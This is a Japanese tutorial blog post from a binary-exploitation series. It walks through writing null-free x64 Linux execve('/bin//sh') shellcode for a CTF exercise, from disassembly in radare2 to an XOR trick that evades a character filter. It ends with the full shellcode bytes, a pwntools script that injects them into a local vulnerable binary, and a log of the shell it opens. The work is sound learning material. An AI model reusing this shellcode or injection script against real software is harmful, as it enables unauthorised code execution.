バイナリアン入門 第三回(x64, Linux)
はじめに
基礎の基礎の部分は第一回と第二回で簡単にふれたので、今回はCTFで苦戦したシェルコードにふれてみる。作成したシェルコードは、脆弱性のある実行ファイルに喰わせて動作を確認する。
シェルコードとは
https://ja.wikipedia.org/wiki/%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%B3%E3%83%BC%E3%83%89
ソフトウェアのセキュリティホールを利用するペイロードとして使われるコード断片である。侵入したマシンを攻撃者が制御できるようにするため、シェルを起動することが多いことから「シェルコード」と呼ぶ。シェルコードは機械語で書かれることが多いが、機械語でなくとも同様のタスクを実行できるコード断片はシェルコードと呼ばれる。
解析用コードの作成
いきなりシェルコードを書くのは無理なので、シェルコードの元となる/bin/sh
を起動するコードをC言語で書いて、吐き出したバイナリコードを解析しながら作成してみる。
execve
については、マニュアルに詳しく書いてあるのでそれに従う。後々シェルコードを作成する時に意識しといた方が良い部分としては、マニュアル内の以下の引用の部分かな。
argv と envp はいずれものヌルポインターで終わっている必要がある
実際に作成したコードはこれ(この場合はvoid main
のが綺麗適切かも)
#include<unistd.h> int main() { // ヌルコードが入らないよう8バイトで合わせている。詳細は後述。 char filename[] = "/bin//sh"; char *argv[] = {"/bin//sh", NULL}; execve(filename, argv, NULL); }
実行ファイル作成
ダイナミックリンクだと解析する際にexecve
の内部処理がどのようになっているのかが見られないため、スタティックリンクで実行ファイルを作成する。
gcc -static -g shell.c
実行ファイルの解析
Radare2を使って、バイナリを解析する。
r2 -d a.out
[0x00001050]> aaa [Cannot analyze at 0x00001040g with sym. and entry0 (aa) [x] Analyze all flags starting with sym. and entry0 (aa) [Cannot analyze at 0x00001040ac) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [0x00001050]> afl 0x00001050 1 42 entry0 0x00001080 4 41 -> 34 sym.deregister_tm_clones 0x000010b0 4 57 -> 51 sym.register_tm_clones 0x000010f0 5 57 -> 50 entry.fini0 0x00001130 1 5 entry.init0 0x00001000 3 23 sym._init 0x000011f0 1 1 sym.__libc_csu_fini 0x000011f4 1 9 sym._fini 0x00001190 4 93 sym.__libc_csu_init 0x00001135 1 76 main 0x00001030 1 6 sym.imp.execve [0x00001050]> s main [0x00001135]> pdf / (fcn) main 76 | int main (int argc, char **argv, char **envp); | ; var char *var_20h @ rbp-0x20 | ; var int32_t var_18h @ rbp-0x18 | ; var int32_t var_9h @ rbp-0x9 | ; var int32_t var_1h @ rbp-0x1 | ; DATA XREF from entry0 @ 0x106d | 0x00001135 55 push rbp ; shell.c:3 { | 0x00001136 4889e5 mov rbp, rsp | 0x00001139 4883ec20 sub rsp, 0x20 | 0x0000113d 48b82f62696e. movabs rax, 0x68732f2f6e69622f ; shell.c:4 char filename[] = "/bin//sh"; ; '/bin//sh' | 0x00001147 488945f7 mov qword [var_9h], rax | 0x0000114b c645ff00 mov byte [var_1h], 0 | 0x0000114f 488d05ae0e00. lea rax, qword str.bin__sh ; shell.c:5 char *argv[] = {"/bin//sh", NULL}; ; 0x2004 ; "/bin//sh" | 0x00001156 488945e0 mov qword [var_20h], rax | 0x0000115a 48c745e80000. mov qword [var_18h], 0 | 0x00001162 488d4de0 lea rcx, qword [var_20h] ; shell.c:7 execve(filename, argv, NULL); | 0x00001166 488d45f7 lea rax, qword [var_9h] | 0x0000116a ba00000000 mov edx, 0 | 0x0000116f 4889ce mov rsi, rcx | 0x00001172 4889c7 mov rdi, rax | 0x00001175 e8b6feffff call sym.imp.execve | 0x0000117a b800000000 mov eax, 0 | 0x0000117f c9 leave ; shell.c:8 } \ 0x00001180 c3 ret [0x00401b5d]> s sym.execve [0x0043c6e0]> pdf ;-- __execve: / (fcn) sym.execve 33 | sym.execve (); | ; CALL XREF from main @ 0x401b9d | 0x0043c6e0 b83b000000 mov eax, 0x3b ; ';' ; 59 | 0x0043c6e5 0f05 syscall | 0x0043c6e7 483d01f0ffff cmp rax, -0xfff | ,=< 0x0043c6ed 7301 jae 0x43c6f0 | | 0x0043c6ef c3 ret | | ; CODE XREF from sym.execve @ 0x43c6ed | `-> 0x0043c6f0 48c7c1c0ffff. mov rcx, -0x40 | 0x0043c6f7 f7d8 neg eax | 0x0043c6f9 648901 mov dword fs:[rcx], eax | 0x0043c6fc 4883c8ff or rax, 0xffffffffffffffff \ 0x0043c700 c3 ret
main()
メイン関数(0x00001135
から0x00001180
)を読んでいく。
関数呼び出しをする際のお決まり(Function prologue)とコールスタックの確保に関しては割愛。
push rbp ; shell.c:3 { mov rbp, rsp sub rsp, 0x20 movabs rax, 0x68732f2f6e69622f ; shell.c:4 char filename[] = "/bin//sh"; ; '/bin//sh' mov qword [var_9h], rax mov byte [var_1h], 0 lea rax, qword str.bin__sh ; shell.c:5 char *argv[] = {"/bin//sh", NULL}; ; 0x2004 ; "/bin//sh" mov qword [var_20h], rax mov qword [var_18h], 0 lea rcx, qword [var_20h] ; shell.c:7 execve(filename, argv, NULL); lea rax, qword [var_9h] mov edx, 0 mov rsi, rcx mov rdi, rax call sym.imp.execve mov eax, 0 leave ; shell.c:8 } ret
第1引数の値準備
文字列0x68732f2f6e69622f(/bin//sh)
をrax
に格納してvar_9h(rbp-0x9)
のアドレスに配置。
そのすぐ後ろの連続したアドレスvar_1h(rbp-0x1)
にヌルポインタ(0)を配置している。
movabs rax, 0x68732f2f6e69622f mov qword [var_9h], rax mov byte [var_1h], 0
上の命令を実行後のスタック領域はこんな感じ。
0x7ffde0f508d7
から0x7ffde0f508df
までのところに2f 6269 6e2f 2f73 6800
が設定されているのが確認できる。
マニュアルでargv
はヌルポインタで終わっている必要があるという意味はこの00
の部分になる。
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x7ffde0f508c0 9001 9700 f155 0000 5000 9700 f155 0000 .....U..P....U.. 0x7ffde0f508d0 c009 f5e0 fd7f 002f 6269 6e2f 2f73 6800 ......./bin//sh. 0x7ffde0f508e0 9001 9700 f155 0000 bb0b 0e24 c57f 0000 .....U.....$.... 0x7ffde0f508f0 0000 0000 0000 0000 c809 f5e0 fd7f 0000 ................ rax 0x68732f2f6e69622f rbp 0x7ffde0f508e0
第2引数の値準備
次に、/bin//sh
の文字列が配置されているアドレスをrax
に一度格納しvar_20h(rbp-0x20)
に配置する。
そのすぐ後ろの連続したアドレスvar_18h(rbp-0x18)
には先程と同様にヌルポインタ(0)を配置している。
lea rax, qword str.bin__sh mov qword [var_20h], rax mov qword [var_18h], 0
上の命令を実行後のスタック領域はこんな感じ。
0x7ffde0f508c0
から0x7ffde0f508cf
までのところに/bin//sh
を指すアドレスとヌルポインタ(0410 9700 f155 0000 0000 0000 0000 0000
)が配置されている。
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x7ffde0f508c0 0410 9700 f155 0000 0000 0000 0000 0000 .....U.......... 0x7ffde0f508d0 c009 f5e0 fd7f 002f 6269 6e2f 2f73 6800 ......./bin//sh. 0x7ffde0f508e0 9001 9700 f155 0000 bb0b 0e24 c57f 0000 .....U.....$.... 0x7ffde0f508f0 0000 0000 0000 0000 c809 f5e0 fd7f 0000 ................ rax 0x55f100971004 rbp 0x7ffde0f508e0
引数設定
最後に、スタック領域に積んでいる値を適切な引数に設定する。
引数とレジスタの対応についてはSystem V ABI
を参照すればいいけど、このサイトでわかりやすくまとまっているため引用させて頂く。
x64のSystem V ABI(Unix系OSの関数呼び出し規約)では第1~6引数まではレジスタを使用し、第7引数以降はスタックを使うようにするようだ。 具体的に以下の順番で引数をレジスタに入れる。
引数 レジスタ
第1引数 RDI
第2引数 RSI
第3引数 RDX
第4引数 RCX
第5引数 R8
第6引数 R9
execve(filename, argv, NULL);
の引数設定をアセンブラコードで表現すると、以下のようになる。
第3引数のedx
には ヌルポインタを設定。
第2引数のrsi
には/bin//sh
のアドレスを指すアドレスを設定(C言語のポインタのポインタ)
第1引数のrdi
には/bin//sh
のアドレスを設定。
そして、最後にsym.imp.execve
をコールする。
lea rcx, qword [var_20h] lea rax, qword [var_9h] mov edx, 0 mov rsi, rcx mov rdi, rax call sym.imp.execve
sym.imp.execve()
sym.imp.execve
の処理も見てみる。
execve
を使うためには、eax
にシステムコール番号59
を設定してsyscall
命令を使用するといいようだ。
mov eax, 0x3b syscall
シェルコード作成
上の解析結果から、execve
を使用してシェルを実行する時のアセンブラコードが理解できたので、execve
の実行に必要なアセンブラコードだけを抜き出してみる。
文字列変換処理
の前に、今回使用する脆弱性のあるバイナリは、CTFで使っていたモノを流用しているため、b,i,n,s,h
の文字が存在すると処理が終了するようになっている。なのでxor
で文字列を反転させている。
filename = 0x68732f2f6e69622f # /bin//sh xor = (filename ^ 0xffffffffffffffff) print format(xor, 'x') #978cd0d091969dd0
シェルコード作成
第1引数に値を設定するために、第1引数用のレジスタrdi
と一時変数として利用するレジスタrax
を初期化する。
global _start _start: xor rdi,rdi xor rax,rax
解析結果で見たように、execve
の第1引数には実行するファイル名/bin//sh
+ ヌルポインタ(0)
が配置されているアドレスを格納する必要があるので、必要な値をスタックに積んで、rsp
のアドレスをrdi
に格納する。
が、シェルコードを作成する時の注意事項として、ヌル文字は含めちゃだめと言う決まりがある。
一般にシェルコードはヌル文字を終端とする文字列として対象プロセスに注入されるため、ヌル文字(一般に0x00)をその途中で使うことはできない。途中にヌル文字があると、そこまでしか文字列としてコピーされない。従ってヌル文字に相当するコードがシェルコードの途中にある場合、シェルコードは最後まで実行されない。
なので、ヌルポインタの設定で愚直にmov rax, 0
みたいな命令を書くと、ヌル文字が入ってしまうのでシェルコードが最後まで実行されず、何回やっても成功しない。そのため回避策として初期化したrax(値は0x00)
をスタックに積むようにしている。
/bin//sh
でスラッシュを連続させているのも、スラッシュ一つで文字数が7文字にしていると、8文字に相当する部分に0x00のヌル文字が混入してしまうため、スラッシュを連続することでヌル文字の混入を防いでいる。
push rax mov rbx,0x9b888fd091969dd0 xor rbx,0xFFFFFFFFFFFFFFFF push rbx mov rdi, rsp
execve
の第2引数argv
にはポインタのポインタを設定する必要があるため、/bin//sh
のアドレスが格納されているrdi
をスタックにプッシュし、rsp
のアドレスをrsi
に設定するようにしている。
push rax push rdi xor rsi,rsi mov rsi, rsp
execve
の第3引数にはヌルポインタを設定する必要があるので、ヌル文字が混入しないようにxor
で0
にする。
xor rdx,rdx
syscall
命令を使用する。
mov al,0x3b syscall
最終的なアセンブラコードはこのようになる。
global _start _start: xor rdi,rdi xor rax,rax push rax mov rbx,0x9b888fd091969dd0 xor rbx,0xFFFFFFFFFFFFFFFF push rbx mov rdi, rsp push rax push rdi xor rsi,rsi mov rsi, rsp xor rdx,rdx mov al,0x3b syscall
バイナリ作成
コンパイル、リンクして実行ファイルを生成。
nasm -f elf64 shell.asm ld -o shellcode.out shell.o
シェルコード抽出
最後に、作成した実行ファイルから機械語を抽出する。
※ ヌルコード(0x00)が入っていないことを確認する
(objdump -M intel -d shellcode.out | grep ' ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g') #\x48\x31\xff\x48\x31\xf6\x48\x31\xc0\x48\x31\xd2\x50\x48\xbb\xd0\x9d\x96\x91\xd0\xd0\x8c\x97\x48\x83\xf3\xff\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05
シェルコード実行
脆弱性のある実行ファイルにシェルコードを送り込むにあたり、pwntoolsというライブラリが大変便利なため今回はこれを使う。 詳細は使い方は以下のサイトが大変わかりやすくまとまっているため参照する。
https://qiita.com/8ayac/items/12a3523394080e56ad5a
from pwn import * context(os="linux", arch="amd64") def main(): shellcode="\x48\x31\xff\x48\x31\xf6\x48\x31\xc0\x48\x31\xd2\x50\x48\xbb\xd0\x9d\x96\x91\xd0\xd0\x8c\x97\x48\x83\xf3\xff\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" conn = process("./shellcoder") conn.recvuntil("Are you shellcoder?") conn.send(shellcode) conn.interactive() if __name__ == "__main__": main()
脆弱性のある実行ファイルに、作成したシェルコードをぶん投げる。
root@kali-linux:~/sandbox/pwn/0_shellcoder/lab# python attack.py [+] Starting local process './shellcoder': pid 10639 [*] Switching to interactive mode $ ls a.out buf core shell.asm shell.c_bk shellcoder ans.py compile.sh shell shell.c shell.o xor.py $ pwd /root/sandbox/pwn/0_shellcoder/lab $ quit [*] Process './shellcoder' stopped with exit code 0 (pid 10639) [*] Got EOF while sending in interactive
まとめ
自分でシェルコードを作成してみるまでは、\x48\x31\xff
みたいな16進数の値をみるとなんでもASCII文字に変換しようとしてみたり、これをどうみたらアセンブラコードになるんだろう?みたいな愚行を色々と重ねた時期もあったが、理解が深まった今となっては懐かしい思い出。
前よりも、バイナリコードとの距離が近づいた気がする。
その他
今回は学習の一環でシェルコードを自力作成したが、EXPLOIT-DATABASEなどにもx64のシェルコードはあるので、検証等で利用する場合はこういうのを使った方が断然スマート。
www.exploit-db.com